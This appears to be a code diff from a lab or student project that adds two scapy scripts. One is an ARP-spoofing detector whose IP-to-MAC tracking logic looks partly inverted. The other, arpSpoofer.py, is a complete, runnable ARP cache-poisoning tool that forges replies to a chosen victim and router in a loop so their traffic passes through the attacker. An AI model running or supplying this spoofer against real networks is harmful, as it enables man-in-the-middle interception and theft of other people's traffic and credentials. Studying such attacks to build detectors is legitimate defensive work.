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arpDetector.py

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+from scapy.all import sniff
+IP_MAC_Map = {}
+
+def processPacket(packet):
+	src_IP = packet['ARP'].psrc
+	src_MAC = packet['Ether'].src
+	if src_MAC in IP_MAC_Map.keys():
+		if IP_MAC_Map[src_MAC] != src_IP :
+			try:
+				old_IP = IP_MAC_Map[src_MAC]
+			except:
+				old_IP = "unknown"
+			message = ("\n Possible ARP attack detected \n "
+			+ " It is possible that the machine with IP address 	 \n " + str(src_IP) + " is pretending to be " 
+			+ str(old_IP) + "\n ")
+			return message
+	else:
+		IP_MAC_Map[src_MAC] = src_IP
+	
+sniff(count=0, filter="arp", store = 0, prn = processPacket)

arpSpoofer.py

@@ -0,0 +1,36 @@
+from scapy.all import *
+import sys
+
+my_mac = get_if_hwaddr("eth0")
+
+def arp_spoof(dest_ip, dest_mac, source_ip):
+	packet = ARP(op = "is-at",hwsrc = my_mac, psrc = source_ip,
+		hwdst = dest_mac, pdst = dest_ip) 
+	send(packet, verbose = False)
+
+def arp_restore(dest_ip, dest_mac, source_ip, source_mac):
+	packet = ARP(op = "is-at", hwsrc = source_mac, psrc = source_ip,
+		hwdst = dest_mac, pdst = dest_ip)
+	send(packet, verbose = False)
+	
+def main():
+	victim_ip = sys.argv[1]
+	router_ip = sys.argv[2]
+	victim_mac = getmacbyip(victim_ip)
+	router_mac = getmacbyip(router_ip)
+	print("victim_mac =", victim_mac)
+	print("router_mac =", router_mac)
+
+	
+	try:
+		print("Sending spoofed ARP packets")
+		while True:
+			
+			arp_spoof(victim_ip, victim_mac, router_ip)
+			arp_spoof(router_ip, router_mac, victim_ip)
+	except KeyboardInterrupt:
+		print("Restoring ARP Tables")
+		arp_restore(router_ip, router_mac, victim_ip, victim_mac)
+		arp_restore(victim_ip, victim_mac, router_ip, router_mac)
+		quit()
+main()